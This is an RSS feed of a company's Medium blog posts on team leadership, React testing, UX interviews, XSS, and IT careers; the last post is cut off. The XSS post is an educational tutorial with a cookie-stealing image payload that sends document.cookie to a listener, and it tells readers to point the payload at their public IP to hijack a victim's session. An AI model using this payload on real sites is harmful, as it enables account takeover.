<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Growin - Medium]]></title>
        <description><![CDATA[Building the best technical team for your company is not an easy task, but we’re here to help you make the right call. - Medium]]></description>
        <link>https://medium.com/growininsights?source=rss----e27839a53216---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Growin - Medium</title>
            <link>https://medium.com/growininsights?source=rss----e27839a53216---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 11:38:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/growininsights" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Do you really know what a Team Leader is?]]></title>
            <link>https://medium.com/growininsights/do-you-really-know-what-a-team-leader-is-90532423d54?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/90532423d54</guid>
            <category><![CDATA[team-leader]]></category>
            <category><![CDATA[it-project-management]]></category>
            <category><![CDATA[tech-lead]]></category>
            <dc:creator><![CDATA[Filipe André Conceição Cardoso]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 12:38:26 GMT</pubDate>
            <atom:updated>2021-11-19T12:38:26.811Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>A deep dive into the true meaning of having a Team Leader</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8npcX6rTyk1LDcafpmH2w.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/it-blog-en/">Growin’s IT blog</a></figcaption></figure><h3>What is a Team Leader?</h3><p>Most of the time, when I am confronted with opportunities to be a team leader, I always ask the same question: is it an opportunity to be a team leader or tech leader?</p><p>Well, 80% of the time the answer is either “both” or “actually, it’s for a tech leader.” For me, since I am a team leader, my answer is always no. It makes no sense for me to mix these two concepts, especially because they are so different.</p><p>Each one has their own responsibilities, tasks, and purposes. For me, mixing both roles into one single person is a red flag for the goal of the project and team.</p><h3>Team Leader vs Tech Leader</h3><p>A team leader is someone with the role of managing and, as the name implies, leading the team. They are the head of the team and represent the team in the good times but especially during difficult moments.</p><p>The team leader is someone who guides the team towards their goals as both individuals and as a team. Manages and helps solving conflicts among the team or between the team and a client. It is about focusing on the team and not so much on the technology.</p><p>The lead helps the project owner/project manager in management tasks related to the team and is the voice of the team during meetings. In some cases, the lead can also be the SCRUM Master. They are also a mentor for the team as individuals, helping each member reach their personal and/or professional goals. It is that person that team members can talk with and express their feelings. It is the lead that makes a team feel and work like a team.</p><p>A tech leader is someone who is focused on technology. They are considered a specialist in the technology being used. Their main goal is to participate in the architecture of the solution, decide what technology to use, and help the team with the challenges that technology sometimes brings to the project. They participate in all meetings related with the architecture of the project and are always looking for new ways to innovate and evolve the project. This person is usually the first one to start working on the project since they are the ones conducting experiments and evaluating technologies for the implementation.</p><h3>How Can a Team Lead Be a Great Asset to a Project?</h3><p>Why should a project have a team leader? What will they bring to my project? The answer for these questions is simple: confidence and stability among the team and the client. Like we can see from the previous points, a team leader is the key for a strong team.</p><p>He can reinforce the strengths of the team, unite them, challenge them in a healthy way, and bring the full potential of the team to the client.</p><p>That will, of course, bring the client confidence, as they will be able to see the full potential of the team who is working on the project. The team leader is indeed the key for a successful team.</p><h3>In conclusion</h3><p>As we can see from the above descriptions, we can easily validate that, in fact, a team leader and a tech leader are two different roles. They cannot be mixed; doing that will directly impact the tasks of each one.</p><p>An individual that likes to be a tech leader will prioritize all the tasks related with their role, leaving the tasks related to the team leader for last.</p><p>This can cause a huge impact on the team’s cooperation and coordination. The same will happen to a team leader, prioritizing all the tasks related with team leading, solving problems related with the architecture of the project, and technology issues.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90532423d54" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/do-you-really-know-what-a-team-leader-is-90532423d54">Do you really know what a Team Leader is?</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Test Code in React]]></title>
            <link>https://medium.com/growininsights/how-to-test-code-in-react-fbf8b5cd1336?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/fbf8b5cd1336</guid>
            <category><![CDATA[react]]></category>
            <category><![CDATA[jest]]></category>
            <category><![CDATA[react-testing-library]]></category>
            <category><![CDATA[testcode]]></category>
            <dc:creator><![CDATA[Andreia Melo]]></dc:creator>
            <pubDate>Fri, 09 Jul 2021 15:27:04 GMT</pubDate>
            <atom:updated>2021-07-09T15:27:04.591Z</atom:updated>
            <content:encoded><![CDATA[<h4>An Overview of Jest and RTL as tools for effective code testing in React</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-g_98rFfpSM4ZFwPlWlnA.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/it-blog-en/">Growin’s blog</a></figcaption></figure><p>In Rui’s <a href="https://www.growin.com/blog/the-importance-of-testing-code/">article</a>, we learned all about the importance of testing code. But how do you make sure your React apps are thoroughly tested?</p><p>In <a href="https://reactjs.org/docs/testing.html#tools">React official docs</a> two main contenders are presented as the go-to tools: Jest and React Testing Library. According to the <a href="https://2019.stateofjs.com/testing/">State of Javascript survey of 2019</a>, Jest is widely used with a whopping 96%, and React Testing Library (RTL) is also most commonly mentioned when referring to <a href="https://2019.stateofjs.com/testing/other-tools/">other testing tools</a> in the freeform answers section.</p><h3>JEST</h3><p>Jest is officially described as “a JavaScript testing framework designed to ensure [the] correctness of any JavaScript codebase. It allows you to write tests with an approachable, familiar, and feature-rich API that gives you results quickly. Jest is well-documented, requires little configuration, and can be extended to match your requirements.”</p><p>it’s a fully-featured testing framework that is normally used with testing libraries like Enzyme or RTL. It’s a test runner, if you will.</p><h3>So what are the advantages of Jest?</h3><p>Compatibility<strong>:</strong> it’s compatible with Angular, React, Node, Vue, etc</p><p>Fast: it’s a very fast testing tool</p><p>Supports Typescript: it supports TypeScript through the ts-jest package</p><p>Snapshot testing: it ensures that your application’s UI does not change unexpectedly between releases</p><p>Timer mocks: you can manipulate time using : setTimeout() ; setInterval(); clearTimeout(); clearInterval(); and the jest.runAllTimers function as examples</p><p>You can write Jest tests to:</p><ul><li>Test an isolated component and its public API</li><li>Test mimicked user behavior interaction</li><li>Verify the DOM output of a component</li><li>Verify that events fire when expected</li><li>Mock functions</li></ul><p>As mentioned before, Jest is a fast testing framework. It requires minimal configuration and is simple to install. It’s considered a React-oriented test runner, but in reality, it’s compatible and easy to adapt for any JavaScript library or framework project.</p><h3>React Testing Library</h3><p>As for RTL, their official documents refer to it as “a very lightweight solution for testing without all the implementation details. The main utilities it provides involve querying for nodes similarly to how users would find them. In this way, testing-library helps ensure your tests give you confidence in your UI code.” Their motto is that “the more your tests resemble the way your software is used, the more confidence they can give you.”</p><p>RTL has the end-user as the main focus, testing how they would use it by mimicking their behavior.</p><p>One of RTL’s main advantages is one of its guiding principles: functionality over implementation. It makes sense to think that the user doesn’t really care about whether your project makes use of hooks, just as long as your app works flawlessly when they use it.</p><p>RTL makes you write better components, both semantically and in terms of accessibility from an HTML point of view. The semantics are much less likely to change over time, giving you a more confident approach than CSS and ID-based selectors.</p><h3>Jest with React-Testing-Library: the winning combination</h3><p>It’s worth mentioning that Jest and RTL are included in the create-react-app bundle (CRA), which makes it very easy to start your testing even if you are new to the React ecosystem.</p><p>Using both together creates a strong testing toolset to make sure your apps are thoroughly tested.</p><h3>Cypress: the E2E one</h3><p>As for an E2E testing approach, another tool that is widely adopted by devs is Cypress.</p><p>Cypress is a JavaScript test automation solution, which allows you to write tests that run in a browser. It can, for instance, test how your frontend is handling API calls/responses to the server or test the flow of the application.</p><h3>Other tools</h3><p>Of course, there are other testing tools available, including Mocha, Chai, Karma, Jasmine, but they are being slowly adopted less and less by devs.</p><p>Also worth mentioning is Enzyme, which is another testing library still widely used with Jest. Enzyme allows you to update the state and props of the component, for example, which would definitely not be the way the user will interact with your app. This is a very different approach from RTL.</p><h3>Final thoughts</h3><p>This article is meant as a starting point to the complex world of testing, specially adapted to the React ecosystem.</p><p>With Jest/RTL/Cypress as your testing tools, you can’t go wrong! You can ensure the quality and reliability of your code to make it bullet-proof, or at least user-proof.</p><p>If you want to know more about this topic, I recommend the following:</p><ul><li><a href="https://www.smashingmagazine.com/2020/07/react-apps-testing-library/">How To Test Your React Apps With The React Testing Library</a></li><li><a href="https://www.smashingmagazine.com/2020/06/practical-guide-testing-react-applications-jest/">A Practical Guide To Testing React Applications With Jest</a></li><li><a href="https://jestjs.io/docs/en/getting-started.html">Jest</a></li><li><a href="https://testing-library.com/docs/react-testing-library/intro">RTL</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbf8b5cd1336" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/how-to-test-code-in-react-fbf8b5cd1336">How To Test Code in React</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UX Research: Getting to know your users]]></title>
            <link>https://medium.com/growininsights/ux-research-getting-to-know-your-users-7c8f6454c3e9?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/7c8f6454c3e9</guid>
            <category><![CDATA[user-interviews]]></category>
            <category><![CDATA[ux-research]]></category>
            <category><![CDATA[qualitative-research]]></category>
            <category><![CDATA[inteviews]]></category>
            <dc:creator><![CDATA[Inês Meleiro]]></dc:creator>
            <pubDate>Fri, 25 Jun 2021 09:59:49 GMT</pubDate>
            <atom:updated>2021-06-25T09:59:48.935Z</atom:updated>
            <content:encoded><![CDATA[<h4>A quick guide on taking the most advantage of your UX interviews</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-Q9l5sC4o_78tlpHfIdKg.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/it-blog-en/">Growin’s blog</a></figcaption></figure><p>We all know how important it is to gather feedback from our users in order to build meaningful and successful products but…how do we capture that knowledge?</p><p>No matter what user research method you use, it’s always important to have a clear goal of what you want to achieve. After all, this will dictate the way you approach the problem and get those juicy insights so precious to design your product.</p><h3>Gather knowledge through user interviews</h3><p>One great way to gather your users’ feedback is by doing user interviews. The user interviews are one of the most widely used user research methods and can give you an in-depth understanding about the problems your users are facing.</p><p>The user interviews are often conducted during the exploration phase because the data you collect can provide the knowledge to identify your personas and scenarios — depending on how you choose to analyze the data. The user interviews are often combined with other research methods, such as <a href="https://www.nngroup.com/articles/usability-testing-101/">usability tests</a> or <a href="https://www.nngroup.com/articles/quantitative-user-research-methods/">surveys</a>, as a way to support the findings you gather.</p><p>The user interviews often refer to “semi-structured interviews” which means that the interviewer follows a structure but that is still flexible enough to follow leads in the conversation and to change the order of the topics.</p><p>Take user interviews as an opportunity to immerse yourself into your users’ lives and connect with their history, culture, beliefs, and experiences. Use this knowledge to work on the possibilities of how to tackle a problem.</p><h3>Plan your research</h3><p>To ensure that you get the most out of your interviews, meaning that you get useful data — and not bad data — you must decide on the interview purpose, find your participants, and work on your questions. It’s important to design a good plan to address the interview so that you don’t waste your participants’ time or yours.</p><p>To work on your questions, think about the topics you would like to cover in your user interview and before you jump into the “why” questions, which are a bit more invasive for the participant, try to work first on “how” and “what” questions — as warm-up questions.</p><p>Your questions must be precise, and yet, open enough to let your participants express their subjective opinion. Remember that what participants say, sometimes, may differ from what they actually do.</p><p>Be prepared to have follow-up questions if you want to dig deeper into a subject but, essentially, let the conversation flow, show the participant that you are really paying attention to what he’s saying even if the conversation gets a bit out of topic, sometimes these moments reveal to be really surprising — e.g., might help you discover the inner reason for certain behaviour. So, don’t be afraid, leave room for some improvisation.</p><p>If you think that the conversation is getting out of context, work your way to bring your participant into the topic again. If you feel there’s nothing more to uncover, it’s time to move to the next topic.</p><p>Listening is essentially the most effective tool on your side and will surely help you to build a rapport with your participant. The way you connect with your participants it’s really important, if they feel comfortable they will be more open with you.</p><h3>Interviews principles</h3><p>So let’s pull some references here and learn from the best, the qualitative researchers Steinar Kvale and Svend Brinkman, they give us a list of 9 principles that can facilitate a good interview, some of those I briefly talked about above:</p><p><strong>1. Introductory questions<br></strong>Start by asking simple questions, where your participants can describe a situation or context of a situation: e.g., “Can you describe the last time you…?”.</p><p><strong>2. Follow-up questions<br></strong>As already said before, the follow-up questions allow you to dig into (deeper on) something the participant has said, try to re-frame it on your next question, or, as the participant speaks, simply encourage him to continue to elaborate on his answer by nodding, pausing or saying “mm”.</p><p><strong>3. Probing questions<br></strong>Ask participants to elaborate on what they are saying, to give examples. e.g., “Can you give me an example of that…?” or “Can you explain that in more detail…?”</p><p><strong>4. Specifying questions<br></strong>If you think the participants’ answer is getting too generalized, try asking specifying questions like: “What exactly did you do?” or “How did that make you feel?”.</p><p><strong>5. Direct questions</strong><br>Direct questions are the ones that introduce new topics and can be based on what the participant has said, e.g. “Do you have any experience shopping online with x-brand?”</p><p><strong>6. Indirect questions<br></strong>These types of questions are usually used when you don’t want to ask the participants directly about their experience or understand if they answer differently when they are forced to think in someone else’s shoes, e.g., “Do you think other people might find the user interface difficult?”. However, you should analyze the answer carefully because it may reflect both the participant’s experience and what he interprets from the other’s experience.</p><p><strong>7. Structuring questions<br></strong>The structuring questions will help you change the topic of the conversation or bring the participant back into the topic. Always show the participant that you acknowledge what we said and then say something like “Let’s move on to…”</p><p><strong>8. Silence<br></strong>Silence is a powerful tool and you should definitely use it. The silence allows your participants to think about their answers and look for additional information relevant in the scenario. Always try to find a balance in your pauses as some participants might find it a bit uncomfortable.</p><p><strong>9. Interpreting questions</strong><br>This principle is so important because it ensures that you have understood what a participant just said, e.g., “You said x, am I right in understanding that…?”.</p><h3>Collecting data (and sensitive data)</h3><p>Recording your participants’ interviews is always a good idea, it allows you to focus on your participants’ answers instead of always being worried about taking notes — especially if you’re the only interviewer — and it also allows you to revisit the data as many times you want.</p><p>So, one important point here is, always ask for participants’ permission to record the session, they may not feel very comfortable but if you explain to them the reason you’re recording and how you’ll use the data, they will most likely accept it.</p><p>When you’re about to deal with sensitive data which requires you and your team extra attention, always assure your participants that the data is going to be properly treated and strictly used for research purposes. Sometimes the best way to tackle this is by sending a <a href="https://medium.com/design-research-matters/general-data-protection-regulation-gdpr-and-user-research-e00a5b29338e">GDPR</a> agreement so everything is clear on both sides.</p><h3>Synthesize data</h3><p>After you finish your user interviews it’s time to make sense of all the data you gathered and, sometimes, that may feel overwhelming with the volume of the information. But do not fear, analysing the data it’s an opportunity to make it easy for other people to understand how you reached your conclusions. If you are clear about the process, you’ll have more chances of gaining peoples’ trust in the validity of your results. A proper analysis takes time so it’s important not to jump right into conclusions but if you are short on time, try not to skip steps and instead narrow the scope of your study.</p><p>The nature of your project will determine the way you analyze the data, however, one of the most common methods for analyzing qualitative data is by performing a <a href="https://www.nngroup.com/articles/thematic-analysis/">thematic analysis</a>.</p><p>A thematic analysis is a flexible method that you can use for both explorative or deductive studies, meaning that it suits you when you don’t have a clear idea of what you might find or when you know exactly what you are interested in. The most important thing is that you respect the data that you are analyzing and keep it representative of your participants.</p><p>A thematic analysis aims to identify the most common patterns/data and map it into themes, so it will require a lot of moving back and forward in the data set.</p><p>The authors and qualitative researchers in psychology, Virginia Braun and Victory Clarke, have developed a six-step process to guide us attaining tangible conclusions:</p><p><strong>1. Familiarisation<br></strong>Start by reviewing all the notes from your interviews, familiarize as much as you can with the data.</p><p><strong>2. Coding</strong><br>Assign a code to each bit of information that you find relevant (usually phrases or sentences). The code is intended to describe an idea or a feeling.</p><p><strong>3. Searching for themes</strong><br>Then, after assigning the codes, start sorting the codes into themes. This is an iterative process, where you move codes back and forth until they make sense into themes. Remember that the themes are much more broad and involve the interpretation of the codes.</p><p>This is also the time to evaluate if a code is still relevant or not, but this varies according to what you are trying to find out.</p><p><strong>4. Reviewing themes </strong><br>At this stage, you review and ensure that the themes are an accurate representation of the data. Read through all the bits of information related to the codes and see if they still support the theme or there are overlapping themes. It’s ok to have bits of information fitting into multiple themes or to discover new themes that you have missed, as an iterative process, keep adjusting until you feel there’s nothing more to add to the analysis.</p><p><strong>5. Defining and naming themes</strong><br>Now that you feel comfortable with your themes and it’s time to name and describe them. The name should be descriptive and catchy. The description is a story about the theme and should tell what’s interesting about it. Talk about how it relates to other themes and to the research purpose. If the story is too diverse or complex, you might consider going to the previous step — reviewing themes — and think about your themes again.</p><p><strong>6. Writing the report</strong><br>Your report should always provide enough information about the project, including the type of user research you used (e.g. a semi-structured interview), the number of participants, and the process you used to analyze the data. Contextualize your conclusions, show participants quotes and the theme&#39;s description so it’s easy for everyone to understand. Your reports can also include personas and user scenarios as a result of your analysis.</p><p>The report can be divided in two parts, one containing a summary of your findings and the second part a more detailed explanation of the research and analysis.</p><h3>Takeaways</h3><p>By now you should have a pretty good idea of how to conduct a user interview and how to analyze your participants’ insights. Being able to understand what users feel about a certain topic or what their perception about your product it’s a powerful tool.</p><p>Use the user interviews during the exploration phase of a project or each time you feel the need to learn more about something (e.g. observed behaviour) and always create rapport with your participants, it’s important to make them feel comfortable so the conversation flows.</p><p>When you finally get your hands on the data, don’t skip steps instead cut project scope and be more concise with your outcomes.</p><p>Take the user research as a way to inspire your designs and evaluate the feasibility of your solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c8f6454c3e9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/ux-research-getting-to-know-your-users-7c8f6454c3e9">UX Research: Getting to know your users</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is data integrity and security?]]></title>
            <link>https://medium.com/growininsights/what-is-data-integrity-and-security-8a70b07b3bf8?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/8a70b07b3bf8</guid>
            <category><![CDATA[data-integrity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[David Capela]]></dc:creator>
            <pubDate>Fri, 14 May 2021 10:21:31 GMT</pubDate>
            <atom:updated>2021-05-14T10:21:31.753Z</atom:updated>
            <content:encoded><![CDATA[<h4>A quick example of how to keep your website’s data safe from potential hackers</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*8TCT_3EpbugpfaY4ukXLzQ.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>As everybody knows 2020 was quite a year and, to be honest, I think I’ve seen it all.</p><p>We can’t deny that, while we were locked up inside our homes, we did stupid things on the internet such as opening an attractive email that gives a reasonable discount on groceries from groceriesdiscount991@discounts.com or opening a link from a cute girl with 10 followers that sent a DM on Instagram.</p><p>Don’t get me wrong — difficult times negatively affect most people’s decision-making. It’s inevitable. To make a point, a <a href="https://finchannel.com/society/health-beauty/coronavirus-update/77900-this-week-some-450-active-who-email-addresses-and-passwords-were-leaked-online">report from the World Health Organization (WHO)</a> stated that even they were flooded with malicious attacks directed at their staff members who were working on the coronavirus response force.</p><p>450 compromised accounts were leaked in a single week to be exact, so if WHO isn’t safe, why should you think you are?</p><p>If you made it here, that means you are probably a bit concerned about the integrity and security of your data. For today’s topic, I will introduce you, in a very kind way, to a well-known attack called XSS (Cross-Site Scripting).</p><p>XSS is not a common attack as a good percentage of websites are protected against it, which, in my opinion, makes new web developers neglect this old trick. Grab your coffee and get ready for a security adventure, and if it’s your first one, I hope it’s as interesting for you as it is for me.</p><h3>What is an XSS attack?</h3><p>By definition, an XSS or Cross-Site Scripting attack is a type of injection of malicious code into vulnerable websites. This often occurs when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different user than themself.</p><p>The power of this attack is often underrated, as the attacker can insert all sorts of JavaScript code, send it to a victim, and get away with it; it’s as simple as that.</p><p>Of course, the attacker needs to be knowledgeable not only in JavaScript but in <em>computer networks</em> and <em>web penetration</em>, but that’s not today’s topic and it’s not my intention to bore you with <em>nerdy</em> stuff. Let’s get back to business and show you a real example of what I’m trying to explain.</p><p>To ease your comprehension, I’ll divide it into logical steps and try to explain it as I would to a five-year-old.</p><h3>Step 1: How to inject the JavaScript/HTML code</h3><p>It can be inserted almost anywhere in the HTML page the server sent you because the page is yours to fiddle with. You read it right. It’s yours: it’s your browser that renders the page the server sent you, so you can manipulate all the HTML from your side.</p><p>It’s like asking for a photocopy in your stationery store of an original book that you don’t own, changing it, and then sending it to someone convincing them that it is the real one.</p><p>As I stated, the page is yours so you can do whatever you want to it. The same rule applies to JavaScript code, as long as the website is vulnerable, of course, as it is frontend code and it’s executed on your computer. Let me show you what I’m explaining by modifying Google’s website HTML code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/0*KAnc-vJqHcJB1oh4.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/0*5pa-d80aVIoAMK6f.png" /></figure><p>It’s that easy, you also can change the password fields to be visible on every website, just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/0*MzMjAOqx2OJECySM.png" /></figure><p>Change the password type to text:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/0*G5samK9rfN4M83L_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/0*71Z6pgsgvTgEzcfJ.png" /></figure><p>and voilá, the text field is now visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/0*uAvxLu4Ct_wMTp6l.png" /></figure><p>This HTML manipulation is transversal to all websites, but on the protected ones, this change is only visible to you.</p><h3>Step 2: Send the URL with your JavaScript code to your friend</h3><p>This is the hardest step: send the JavaScript injected code to your victim, expecting the same result if the website is vulnerable.</p><h3>What is a Session?</h3><p>You have probably already heard about this, and I think the majority of the new developers are afraid of this topic because they never really understood the importance of it. Fortunately, I wrote this example to prove to you that sessions can be really easy to understand. Let’s get started!</p><p>Imagine this: I attend a bar near my college which has the best beer and sandwiches of them all. When I get there, I don’t need to tell the waiter what I want because he has known me for years. So, with eye contact and a simple head shake, I have the beer and that crunchy sandwich I love served at my table.</p><p>One day, that waiter was sick and so another employee that works the morning shift was covering his section. When I arrived I had to tell him who I was and what the special ingredients of the sandwich I wanted were, which is natural.</p><p>He didn’t know who I was despite the fact that I spent most of my college time in that sacred establishment, and yet the next time I went there he knew what I wanted. That’s a good analogy for sessions. It’s almost the same on your web app: a session is a mechanism that stores some information about a given person, but when they change the computer they’re accessing, that website doesn’t know who they are anymore. So they have to tell him who they are, the same as I had to before I could order my beer without asking for it again.</p><p>By now you’re probably asking, “What if I show an ID that isn’t mine?” Well, then you usurped someone else’s identity. But that’s not that easy. The IDs are very difficult to rob as they are encrypted instead of left in plain text.</p><h3>What are those cookie things?</h3><p>As I stated, you need to provide an ID for them to know information about you, but do you ever remember doing such a thing everytime you go to Facebook or other websites?</p><p>That’s where cookies play their role. Cookies exist so the server doesn’t have to store minor pieces of information like what’s in your shopping cart. When you access a different tab, you are still logged in because the browser saved the session ID in your cookies.</p><p>Don’t get me wrong. That is some valuable information, but it can be easily stored client-side as it is not critical info and it is also sometimes encrypted. When you access Facebook, you don’t have to go through the burden to log in every time because you have your session ID stored in your cookies.</p><p>Therefore the server has access to all the information regarding your session and can retrieve data without any effort from you. That’s the beauty of cookies; they reduce the work substantially from either side. But, be aware, because it can be a double-edged sword, and I’m going to prove it to you.</p><h3>Let’s mix all these</h3><p>If you understood the previous topics, then you’re ready to be a hacker. 😉</p><p>Now, I will present you with an example of how to hijack a victim’s identity by getting their session ID from the cookies and sending it to a local server with injected malicious code.</p><p>As I said, you have a session ID stored in your cookies, so let’s check it out (cookies can be viewed in your browser development tools).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/0*LnB9PK8LllTOIgkv.png" /></figure><p>The PHPSESSID is usually the name of the cookie used by sites using PHP in the backend.</p><p>As you see, the session is exposed to the user. And the question is: can we get it and send it to someone? I guess we’ll find out.</p><p>Usually, this is what you can expect when you insert something like this in a search bar on an HTML page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/0*AVBPhB7iJ9CXs7aA.png" /></figure><p>If the website is vulnerable to XSS, it will show something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/0*hRDv7oOsIJgLuwbA.png" /></figure><p>And, if you use a browser variable to point to your cookie like document.cookie it’ll show something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/0*KhxCKMS3RvNZO6bD.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/0*6CV27R_a9VJ3GIhd.png" /></figure><p>Let’s try to send this to a local TCP listener on our machine. To do so, we’re going to start the TCP listener on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/0*duG94lsv6fbmTK9o.png" /></figure><p>Then, insert the malicious XSS code. In this case we’re injecting an image with a manipulated URL:</p><p><a href="https://github.com/favicon.ico">https://github.com/favicon.ico</a> width=0 height=0 onload=this.src=’<a href="http://localhost/?%27+document.cookie%3e">http://localhost:80/?&#39;+document.cookie&gt;</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*bniZYpaat9aeBhYF.png" /></figure><p>This is the result presented by the listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*DaVJy0Xy46tGh4PO.png" /></figure><p>As you can see, the listener is showing the session ID I had in my cookie, so the URL is prepared to be sent to your victim. Don’t forget to change the localhost to your public IP.</p><p>This is a HUGE vulnerability from the server, as I can easily use this session ID, insert it in my cookies, and VOILA! I’m suddenly in another person’s account without even knowing their password.</p><h3>How do you prevent this?</h3><p>It’s easier than it seems. The only thing you need to add is an input filter that filters all special characters. There are a bunch of already made functions that give you something like this. In PHP you have <a href="http://php.net/manual/en/function.htmlspecialchars.php">htmlspecialchars()</a> to receive the user’s input.</p><h3>Final thoughts</h3><p>We all should have some sense of security as it is, but it’s more than ever, becoming one of the most critical subjects for all of us who use the Internet and depend on it for a monthly wage. I also hope we can get to a point in the future where there is more education regarding this and we start closing the gap in overall general education such as high school. With this, a tremendous amount of cyberbullying would likely disappear.</p><p>This type of attack is a powerful weapon for hijacking identities. And with great power comes great responsibility.</p><p>The purpose of this article was for education only.</p><p>Do not try this on websites that you do not have permission to. I hope you enjoyed this article as much as I did writing it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a70b07b3bf8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/what-is-data-integrity-and-security-8a70b07b3bf8">What is data integrity and security?</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Transformação do Talento em 2021 na área das Tecnologias de Informação]]></title>
            <link>https://medium.com/growininsights/a-transforma%C3%A7%C3%A3o-do-talento-em-2021-na-%C3%A1rea-das-tecnologias-de-informa%C3%A7%C3%A3o-740567559fcd?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/740567559fcd</guid>
            <category><![CDATA[techonology]]></category>
            <category><![CDATA[it-talent]]></category>
            <category><![CDATA[careers-in-tech]]></category>
            <category><![CDATA[careers]]></category>
            <category><![CDATA[tech-career-trends]]></category>
            <dc:creator><![CDATA[Claudia Neves]]></dc:creator>
            <pubDate>Fri, 08 Jan 2021 16:19:46 GMT</pubDate>
            <atom:updated>2021-01-08T16:19:45.953Z</atom:updated>
            <content:encoded><![CDATA[<h4>As tendências de carreira e top skills que vão fazer a diferença em 2021</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMeEEgJGkBeKiqegN0uC9A.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>Com a pandemia provocada pela COVID-19, como é que adaptamos os nossos objetivos de carreira e conseguimos destacar-nos no mercado de trabalho? Quais são os investimentos que devemos fazer numa década que enfrenta um desafio inédito de escala global?<br>Essas são as “grandes” questões às quais muitos querem ter resposta. Uns porque pretendem entrar numa área com maior probabilidade de sucesso profissional, outros porque simplesmente querem potencializar as suas competências. No entanto, grandes questões exigem grandes reflexões: sobre o caminho que se pretende tomar, o quanto se quer arriscar, garantir e mudar. Estas decisões e pensamentos terão, inevitavelmente, de ter em conta o ano atípico de 2020 e o que se espera que 2021 seja: um ano de transformação.</p><p>Em outubro de 2020, o report sobre o estudo levado a cabo durante os meses de pico da COVID-19, o <a href="https://www.weforum.org/reports/the-future-of-jobs-report-2020">Employer Branding NOW 2020 da Universum</a>, debruçou-se sobre várias temáticas, tais como quais serão as profissões e <em>top skills</em> a investir nos próximos 5 anos, ou seja, nos anos pandémicos e pós pandémicos.</p><p>Contudo, para analisar a evolução das carreiras e o que será valorizado pelas empresas, tem de se ter em consideração os efeitos — diretos e indiretos — ambientais, económicos, tecnológicos, a nível de saúde, entre outros. A realidade molda-se 